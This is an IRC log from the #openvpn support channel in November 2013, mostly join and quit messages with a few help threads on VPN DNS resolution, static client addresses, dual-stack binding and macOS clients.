16:36 -!- Fira [artix@unaffiliated/fira] has quit [Ping timeout: 272 seconds]
16:38 -!- juxta [~rootkit@ppp203-122-193-94.static.internode.on.net] has quit [Ping timeout: 265 seconds]
16:39 -!- juxta [~rootkit@ppp203-122-193-94.static.internode.on.net] has joined #openvpn
16:40 -!- Fira [artix@unaffiliated/fira] has joined #openvpn
16:41 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:44 -!- Sembei [~Sembei@unaffiliated/sembei] has quit [Ping timeout: 272 seconds]
16:48 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Ping timeout: 245 seconds]
17:01 -!- The_Ball [~ballen@202.10.92.134] has joined #openvpn
17:03 -!- cambazz [~can@192.241.139.124] has quit [Quit: Lost terminal]
17:33 -!- batrick [batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.2]
17:38 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
18:00 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
18:04 -!- Cultist [~Grand_Mew@c-24-12-53-28.hsd1.il.comcast.net] has quit [Quit: Tension, apprehension, and dissension have begun.]
18:04 -!- Cultist [~Cult@2601:d:9280:fc:8634:97ff:fe17:5dc3] has joined #openvpn
18:08 -!- Cultist [~Cult@2601:d:9280:fc:8634:97ff:fe17:5dc3] has quit [Client Quit]
18:08 -!- Cultist [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has joined #openvpn
18:37 -!- nick4 [~nick4@188.4.211.48.dsl.dyn.forthnet.gr] has left #openvpn []
19:02 -!- jefferai [~quassel@kde/mitchell] has quit [Remote host closed the connection]
19:23 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
19:23 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
19:24 -!- nofks [~nofks@CPE-65-27-120-148.new.res.rr.com] has joined #openvpn
19:31 -!- kirin` [telex@gateway/shell/anapnea.net/x-yrewwtinoboqxeaa] has quit [Read error: Operation timed out]
19:31 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
19:32 -!- kirin` [telex@gateway/shell/anapnea.net/x-nttaxkajofkbiloc] has joined #openvpn
19:32 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
20:08 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
20:08 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
20:12 -!- jefferai [~quassel@kde/mitchell] has joined #openvpn
20:16 -!- Sembei [~Sembei@unaffiliated/sembei] has joined #openvpn
20:22 -!- nofks_ [~nofks@199.21.149.246] has joined #openvpn
20:25 -!- nofks [~nofks@CPE-65-27-120-148.new.res.rr.com] has quit [Ping timeout: 264 seconds]
20:54 -!- toastee [~toastee@d24-141-237-234.home.cgocable.net] has joined #openvpn
20:55 < toastee> !welcome
20:55 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder
20:55 <@vpnHelper> !sample !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
20:55 < toastee> !howto
20:55 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
20:59 -!- kirin` [telex@gateway/shell/anapnea.net/x-nttaxkajofkbiloc] has quit [Ping timeout: 240 seconds]
21:02 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
21:06 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Quit: ZNC - http://znc.in]
21:08 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
21:12 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
21:14 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
21:17 -!- kirin` [telex@gateway/shell/anapnea.net/x-zydrpectpownaarh] has joined #openvpn
21:33 < toastee> Noob here with a (hopefully easy) question...I have a Windows 7 box running OpenVPN Server and I'm connecting to it from a Mac with Tunnelblick and an Android phone with OpenVPN Connect. I would like to have the computer name of my Windows 7 box resolve whenever I am connected to the VPN.
21:33 < toastee> Do I need bridged mode in order for this to work?
21:33 <@EugeneKay> There are so many things wrong about that question I don't even know where to begin
21:34 <@EugeneKay> To answer the question asked, no, you don't need or want bridging.
21:34 < toastee> Okay.
21:34 <@EugeneKay> Going down the list in the order mentioned:
21:34 <@EugeneKay> Windows is terrible as a server, but if it's working for you go for it.
21:34 <@EugeneKay> Tunnelblick is terrible but if it's working for you go for it
21:34 <@EugeneKay> OpenVPN connect != FOSS
21:34 <@EugeneKay> !android
21:34 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the market
21:35 <@EugeneKay> As for name resolution, set up a record in DNS(with static addressing inside your VPN).
21:35 <@EugeneKay> !static
21:35 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
21:35 < toastee> perfect.
21:35 < toastee> its really just being used as a downloading machine for sickbeard/sabnzbd...usenet slave
21:35 < toastee> so i dont need anything too advanced from it from a server perspective
21:35 < toastee> what can you recommend instead of tunnelblick for OSX?
21:36 <+pekster> Tunnelblick is what most Mac users around here use
21:36 <@EugeneKay> A lobotomy.
21:36 < toastee> pekster: thank you
21:36 <+pekster> As a client you use what, Viscocity EugeneKay? Has it grown up or does it still suck worse than a vaccuum?
21:37 <@EugeneKay> On my Macs? A shotgun.
21:37  * EugeneKay does not apple
21:37 <+pekster> Well, Tunnelblick is a pretty darn nice client
21:37 <+pekster> Far better integrated than the Windows one, fwiw
21:38 <@EugeneKay> Last time I tried it ate my cat's homework, but I don't support that computer anymore ;-)
21:38 < toastee> hehe
21:38  * toastee is on IRC in his windows VM :x
21:39 < toastee> im going to check out the docs on the static IP stuff
21:40 < toastee> basically what i'm looking to accomplish is to have browser shortcuts and a desktop shortcut that will work whether im at home local to the box
21:40 < toastee> or elsewhere with the VPN connected
21:40 < toastee> pretty basic stuff
21:41 -!- koopsta [koopsta@unaffiliated/koopsta] has joined #openvpn
21:41 <+pekster> What exactly is a "browser shortcut" ?
21:41 <+pekster> Less marketing terms, more network descriptions
21:41 <+pekster> At least if you want sane help here
21:42 < toastee> a shortcut to etc myserver:8080
21:42 < toastee> eg*
21:42 < toastee> within chrome or firefox
21:43 < toastee> all my apps are web-based, and i dont trust their HTTPD's to face the internet
21:43 < toastee> so thats why im looking to create a vpn
21:44 < toastee> i know i could put it behind apache/nginx but thats still opening myself up to unnecessary risk
21:44 < toastee> so i figured this was a better option
21:45 <+pekster> Sure, though if you expect DNS to work make sure you have a working DNS infra on your server-side network already and review !pushdns
21:45 < toastee> so since im running win7 ill probably either need to install a 3rd party dns daemon or switch to server 2008 and use a dns role
21:45 < toastee> yeah?
21:46 <@EugeneKay> If you make the IP addresses static you can just put it in a public DNS zone
21:46 <@EugeneKay> No dynamic updates are needed
21:47 < toastee> the IP's are static on my router
21:47 < toastee> would i need to make them static within openvpn config as well
21:47 <@EugeneKay> Yes
21:48 < toastee> ohhhh okay. now in tunnel mode is that going to send all my DNS queries across the VPN
21:48 < toastee> or just ones that are pre-configured static
21:48 <@EugeneKay> !dns
21:48 <@vpnHelper> "dns" is (#1) Level3 open recursive DNS server at 4.2.2.[1-6] or (#2) Google open recursive DNS server at 8.8.8.8 / 8.8.4.4 or (#3) you might be looking for !pushdns
21:48 <@EugeneKay> !pushdns
21:48 <@vpnHelper> "pushdns" is (#1) push dhcp-option DNS a.b.c.d to push dns to the client or (#2) For pushing DNS to a Windows client, see: !windns or (#3) Unix-alikes are required to process the env-var in an --up script; read about --dhcp-option in the manpage or (#4) For distros that use resolvconf you can try the update-resolv-conf script under the contrib/ source dir
21:49 <@EugeneKay> Depends what your "clients" are using as their DNS server. I say to put it in a public DNS zone(eg, toastee.com) so that you don't have to care. All your records will be accessible from any DNS resolver
21:49 < toastee> hmmmm okay
21:50 <+pekster> EugeneKay: Bonus fun points there since dnsmasq by default in many popular setups (eg: openwrt, unless otherwise configured) as "rfc1918 rebinding protection" that stops public replies for rfc1918 space
21:51 <+pekster> Works if clients don't do that though, or if the server uses public IPs for the VPN
21:52 < toastee> im going to play around with that.
21:52 < toastee> thanks for your help EugeneKay pekster
21:52 <@EugeneKay> That pisses me off so much
21:52 < toastee> ?
21:52 <@EugeneKay> Behaviour pek described
21:52 < toastee> ah
21:53 <@EugeneKay> dnsmasq is such a piece of shit app
21:56 <+pekster> That's not its default..
21:56 <+pekster> Go constructively tell downstream all about their mistakes if you want change
21:56 <@EugeneKay> The fact that it HAS the option(and people turn it on because a Blogopost told them to) is annoying.
21:57 <@EugeneKay> I'm all for violating RFCs for the good of the internet, but that's a goddamned annoying one.
21:57 <@EugeneKay> And one that breaks on DNSSEC et al
22:07 <+pekster> How do you figure that?
22:07 <+pekster> RR sigs still verify; RFC1918 replies are simply discarded
22:08 <@EugeneKay> You're supposed to get a signed NXDOMAIN ;-)
22:29 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
22:41 <@krzee> ecrist, http://www.isitdownrightnow.com/secure-computing.net.html
22:41 <@vpnHelper> Title: Secure-computing.net - Is Secure-computing Down Right Now? (at www.isitdownrightnow.com)
22:47 -!- Haxxa [~Harrison@162.243.39.102] has quit [Excess Flood]
22:50 -!- Haxxa [~Harrison@162.243.39.102] has joined #openvpn
22:55 -!- toastee [~toastee@d24-141-237-234.home.cgocable.net] has quit []
23:11 < koopsta> hey guys, i've setup openvpn client on my centos6 server, and it connects fine, and i can ping the server (and from the server i can ping the client)
23:11 < koopsta> but pinging internet accessible addresses like google or whatnot gets 100% packet loss
23:12 < koopsta> however, tcpdump -i tu0 shows the ping replies coming through
23:12 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
23:12 < koopsta> s/tu0/tun0
23:12 < koopsta> any ideas why the ping program isn't registering them?
23:16 < koopsta> http://pastebin.ca/2477671
23:16 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 245 seconds]
23:20 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
23:21 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
23:23 <+pekster> koopsta: What's openpvn got to do with the Internet?
23:23 <+pekster> !goal
23:23 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
23:24 < koopsta> was just thinking that
23:32 <@krzee> do you run your server or is it some provider?
23:33 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 246 seconds]
23:33 < koopsta> i run the server
23:36 -!- nofks_ [~nofks@199.21.149.246] has quit [Remote host closed the connection]
--- Day changed Thu Nov 21 2013
00:07 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:08 -!- fred`` [fred@earthli.ng] has quit [Ping timeout: 246 seconds]
00:12 -!- fred`` [fred@earthli.ng] has joined #openvpn
00:12 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has quit [Ping timeout: 245 seconds]
00:14 -!- kirin` [telex@gateway/shell/anapnea.net/x-zydrpectpownaarh] has quit [Ping timeout: 245 seconds]
00:15 -!- Matviy [~Matviy@108-225-189-45.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
00:27 -!- kirin` [telex@gateway/shell/anapnea.net/x-afzeneoihnsxosym] has joined #openvpn
00:34 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
00:40 -!- akurilin [~akurilin@208.185.21.146] has quit [Quit: Leaving]
00:42 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
00:50 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
00:51 -!- Linmu_ [~Linmu@203.70.194.104] has quit [Ping timeout: 241 seconds]
00:59 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
01:00 -!- Carbon_Monoxide [~cmonxide@14.0.143.23] has joined #openvpn
01:00 -!- Carbon_Monoxide [~cmonxide@14.0.143.23] has left #openvpn []
01:02 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
01:11 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
01:19 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
01:22 -!- The_Ball [~ballen@202.10.92.134] has quit [Ping timeout: 246 seconds]
01:56 -!- natsukao [~natsukao@dynamic-adsl-94-37-153-251.clienti.tiscali.it] has quit [Ping timeout: 245 seconds]
01:58 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
02:01 -!- EugeneKay [eugene@clockworkmod.org] has quit [Ping timeout: 245 seconds]
02:03 -!- EugeneKay [eugene@clockworkmod.org] has joined #openvpn
02:18 -!- tharkun [~0@unaffiliated/tharkun] has quit [Ping timeout: 245 seconds]
02:18 -!- The_Ball [~ballen@c114-77-185-26.hillc3.qld.optusnet.com.au] has joined #openvpn
02:19 -!- tharkun [~0@187.188.94.182] has joined #openvpn
02:22 -!- Matviy [~Matviy@108-225-189-45.lightspeed.sntcca.sbcglobal.net] has quit [Ping timeout: 252 seconds]
02:22 -!- Matviy [~Matviy@108-225-189-45.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
02:26 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has joined #openvpn
02:37 -!- svparijs_afk [~svparijs@static.15.71.76.144.clients.your-server.de] has joined #openvpn
02:37 -!- svparijs_afk is now known as svparijs
02:38 -!- JackWinter [~jack@vodsl-9823.vo.lu] has quit [Ping timeout: 264 seconds]
02:42 -!- svparijs is now known as svparijs_afk
02:49 -!- svparijs_afk is now known as svparijs
02:49 -!- JackWinter [~jack@vodsl-9189.vo.lu] has joined #openvpn
02:53 -!- Matviy [~Matviy@108-225-189-45.lightspeed.sntcca.sbcglobal.net] has quit [Read error: Connection reset by peer]
02:54 -!- Matviy [~Matviy@108-225-189-45.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
03:04 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
03:13 -!- JackWinter [~jack@vodsl-9189.vo.lu] has quit [Quit: Konversation terminated!]
03:14 -!- JackWinter [~jack@vodsl-9189.vo.lu] has joined #openvpn
03:17 -!- crus [~crusader@2001:44b8:319e:2900:a44e:bd60:b087:6ad6] has quit [Ping timeout: 245 seconds]
03:21 -!- crus [~crusader@crus0r.soho.on.net] has joined #openvpn
03:35 -!- The_Ball [~ballen@c114-77-185-26.hillc3.qld.optusnet.com.au] has quit [Ping timeout: 272 seconds]
03:46 -!- The_Ball [~ballen@c114-77-185-26.hillc3.qld.optusnet.com.au] has joined #openvpn
03:47 -!- heraclitus [~heraclitu@ip-static-94-242-252-198.as5577.net] has joined #openvpn
03:47 -!- heraclitus [~heraclitu@ip-static-94-242-252-198.as5577.net] has quit [Changing host]
03:47 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
03:55 -!- Matviy [~Matviy@108-225-189-45.lightspeed.sntcca.sbcglobal.net] has quit [Read error: Connection reset by peer]
03:56 -!- Matviy [~Matviy@108-225-189-45.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
04:14 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 245 seconds]
04:24 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
05:03 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
05:04 -!- Denial [Denial@2.223.161.125] has joined #openvpn
05:05 -!- Devastator [~devas@186.214.110.53] has joined #openvpn
05:08 -!- kraut [~kraut@dreamland.netzdeponie.de] has joined #openvpn
05:11 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
05:29 -!- koopsta [koopsta@unaffiliated/koopsta] has quit [Quit: Leaving]
05:30 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
05:35 -!- pure [~pure@ebony.jrobertsgb.co.uk] has quit [Quit: Lost terminal]
05:36 -!- Devastator [~devas@186.214.110.53] has quit [Changing host]
05:36 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
05:46 -!- Matviy [~Matviy@108-225-189-45.lightspeed.sntcca.sbcglobal.net] has quit [Read error: Connection reset by peer]
05:47 -!- Matviy [~Matviy@108-225-189-45.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
05:49 -!- FriedZombie_ [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Ping timeout: 245 seconds]
05:54 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
06:16 -!- svparijs is now known as svparijs_afk
06:20 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
06:27 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Ping timeout: 245 seconds]
06:37 -!- svparijs_afk is now known as svparijs
06:40 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
06:49 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:50 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has left #openvpn []
07:05 -!- svparijs is now known as svparijs_afk
07:06 -!- svparijs_afk is now known as svparijs
07:07 -!- michaelhart [~michaelha@192-0-240-20.cpe.teksavvy.com] has joined #openvpn
07:09 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has joined #openvpn
07:13 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
07:14 -!- `Ile` [~ile@37.19.108.28] has joined #openvpn
07:15 -!- eval-_ [uid16075@gateway/web/irccloud.com/x-bsbdwfzwoweguiqu] has joined #openvpn
07:24 -!- dazo_afk is now known as dazo
07:24 -!- car [~car@pd95cfe54.dip0.t-ipconnect.de] has joined #openvpn
07:26 < car> hi. does anybody know how to bind openvpn to port 1194/udp using ipv4 AND ipv6. if i use proto udp and proto udp6, only ipv6 is used.
07:36 < MacGyver> Iirc currently you need to run two separate openvpn processes for dual-stack support.
07:36 < MacGyver> One on v4, one on v6.
07:36 < MacGyver> Not sure though.
07:37 -!- michaelhart [~michaelha@192-0-240-20.cpe.teksavvy.com] has quit [Quit: michaelhart]
07:38 <+pekster> That is correct. car, today OpenVPN can listen or intiate the VPN link itself on either IPv4 or IPv6, but not both; that's on the shortlist of features we're looking at for 2.4.x. Though today you can do dual-stack inside the tunnel
07:44 < car> so i have to use two processes, two confs and and two ports
07:44 < MacGyver> Two processes. Two confs. One port.
07:45 < car> ah ok. thx!
07:45 < MacGyver> The IPv4 stack is separate from the IPv6 stack.
07:45 < MacGyver> So you can bind on 1194/udp on both stacks.
07:45 < car> yes youre right :)
07:45 -!- svparijs is now known as svparijs_afk
07:45 < car> thx
07:45 < MacGyver> Yw.
07:46 -!- svparijs_afk is now known as svparijs
07:54 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
08:02 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 246 seconds]
08:03 -!- takamichi [~takamichi@85.12.8.105] has joined #openvpn
08:19 -!- HyperGlide [~HyperGlid@182.149.55.185] has joined #openvpn
08:29 -!- The_Ball [~ballen@c114-77-185-26.hillc3.qld.optusnet.com.au] has quit [Ping timeout: 246 seconds]
08:35 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
08:36 -!- takamichi [~takamichi@85.12.8.105] has quit [Ping timeout: 272 seconds]
08:41 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
08:47 -!- Cultist [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has quit [Ping timeout: 240 seconds]
08:47 -!- HyperGlide [~HyperGlid@182.149.55.185] has quit [Quit: Leaving...]
08:48 -!- defswork [~andy@141.0.50.105] has joined #openvpn
08:50 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Quit: KVIrc 4.2.0 Equilibrium http://www.kvirc.net/]
08:50 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
08:54 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
09:00 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has left #openvpn []
09:07 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
09:13 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
09:15 -!- KaiForce [~chatzilla@107-223-70-10.lightspeed.bcvloh.sbcglobal.net] has joined #openvpn
09:18 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
09:25 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
09:27 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Read error: Connection reset by peer]
09:28 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
09:33 -!- ragechin is now known as MrChin
09:33 -!- JackWinter [~jack@vodsl-9189.vo.lu] has quit [Quit: Konversation terminated!]
09:33 -!- MrChin is now known as ragechin
09:35 -!- JackWinter [~jack@vodsl-9189.vo.lu] has joined #openvpn
09:38 -!- svparijs is now known as svparijs_afk
10:08 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 265 seconds]
10:09 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
10:10 -!- map is now known as Guest81204
10:11 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 252 seconds]
10:13 -!- michaelhart [~michaelha@162.209.54.120] has quit [Remote host closed the connection]
10:14 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
10:23 -!- rmk0 [~rmk0@unaffiliated/rothwell] has left #openvpn []
10:38 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has quit [Ping timeout: 272 seconds]
10:39 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
10:50 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
10:57 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:00 -!- Chrisje [meta@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has quit [Ping timeout: 246 seconds]
11:03 -!- Cibel [~Sbratzber@187.110.4.124] has joined #openvpn
11:05 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
11:07 -!- Chrisje [meta@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has joined #openvpn
11:10 -!- master_of_master [~master_of@p4FD7BA86.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
11:12 -!- master_of_master [~master_of@p4FD7BCE3.dip0.t-ipconnect.de] has joined #openvpn
11:13 -!- Chrisje [meta@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has quit [Ping timeout: 246 seconds]
11:24 -!- Chrisje [meta@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has joined #openvpn
11:28 -!- `Ile` [~ile@37.19.108.28] has quit [Ping timeout: 265 seconds]
11:30 -!- `Ile` [~ile@77.243.22.9] has joined #openvpn
11:33 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
11:38 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
11:43 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
11:48 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 246 seconds]
11:58 -!- `Ile` [~ile@77.243.22.9] has quit [Quit: Lost terminal]
12:04 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:08 -!- speed_racer84 [~speed_rac@h120.191.213.151.dynamic.ip.windstream.net] has joined #openvpn
12:12 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Ping timeout: 265 seconds]
12:12 -!- car [~car@pd95cfe54.dip0.t-ipconnect.de] has quit [Remote host closed the connection]
12:12 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
12:13 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Quit: elfixit]
12:16 -!- tw [~brassica@unaffiliated/tw-nym] has quit [Ping timeout: 246 seconds]
12:48 -!- Cibel [~Sbratzber@187.110.4.124] has quit [Quit: Saindo]
13:02 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:02 -!- crus` [~crusader@2001:44b8:319e:2900:5db7:717b:785b:5557] has joined #openvpn
13:04 -!- crus [~crusader@crus0r.soho.on.net] has quit [Ping timeout: 272 seconds]
13:33 -!- `Ile` [~ile@109-93-224-224.dynamic.isp.telekom.rs] has joined #openvpn
13:35 -!- calcifea_ is now known as calcifea
13:56 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Ping timeout: 264 seconds]
13:57 -!- havoc [~havoc@neptune.chaillet.net] has quit [Ping timeout: 264 seconds]
13:58 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
13:58 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
14:03 < Fohlen> anyone knows a good on-the-fly command-line openvpn for mac os x?
14:03 < Fohlen> only saw tunnelblick and some few commercial gui tools
14:03 < Fohlen> all I tested where holly crap compared to linux default's one
14:04 < Fohlen> especially tunnelblick :/
14:04 < phreakocious> tunnelblick works pretty well.. I have a few hundred people using it
14:05 < Fohlen> I dont like the idea of renaming folder to tblrk and run it as a tunneblick file...
14:05 < Fohlen> it can easily cause errors
14:05 < Fohlen> *.tblk
14:05 < phreakocious> yeah that part kinda sucks but it can be automated
14:06 < Fohlen> I would like a simple openvpn command-line access :P
14:06 < Fohlen> guess I needa self-compile openvpn for me then^^?
14:06 < phreakocious> most likely..
14:07 < Fohlen> wondering why every os has a good command-line support for openvpn ... except mac
14:07 < Fohlen> ffs
14:07 < Fohlen> :D
14:08 < Fohlen> but well, thx so far
14:08 < phreakocious> best of luck :)
14:10 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
14:28 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
14:33 -!- danfromuk [~IceChat77@unaffiliated/danfromuk] has joined #openvpn
14:35 < danfromuk> Hi. I'm trying to set up an access policy so I can give network access to a supplier without giving them fully access. I've followed this guide http://openvpn.net/index.php/open-source/documentation/howto.html#policy and the client has been given the new IP address 10.60.1.1. However, the client can't ping 10.60.1.2.
14:35 <@vpnHelper> Title: HOWTO (at openvpn.net)
14:36 < danfromuk> All other VPN users get assigned 10.60.0.0/24 and thats working fine.
14:38 < danfromuk> How can I diagnose this?
14:59 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:06 <@dazo> danfromuk: I think you should rather allocate a fixed IP address *inside* your VPN subnet (10.60.0.0/24) and limit the access based on that client VPN IP address in your firewalls
15:06 <@dazo> ahh, I see what that howto article does ... it just sets up routes and more subnets on the same VPN device ... but you need to be sure you have all routes correctly set up, both on the server and on the clients ... otherwise it won't work at all
15:07 < danfromuk> I would, but I want to ensure I dont run out of IP addresses in the event that we increase the number of suppliers that can access the network.
15:08 < danfromuk> dazo: i think youre right. ive added the route back to the 10.6.1.x range. just waiting for the server to be idle so i can reload the route
15:08 <@dazo> danfromuk: if you want even better control ... have a look at eurephia
15:08 <@dazo> !eurephia
15:08 <@vpnHelper> "eurephia" is http://www.eurephia.net/
15:08 <@dazo> but that requires quite some changes from what you already have
15:09 < danfromuk> thanks. ive bookmarked it. for now i'll stick with the simpler solution.
15:14 -!- `Ile` [~ile@109-93-224-224.dynamic.isp.telekom.rs] has quit [Ping timeout: 264 seconds]
15:16 -!- `Ile` [~ile@178-221-159-17.dynamic.isp.telekom.rs] has joined #openvpn
15:23 -!- acu [~acu@adsl-108-86-28-12.dsl.emhril.sbcglobal.net] has joined #openvpn
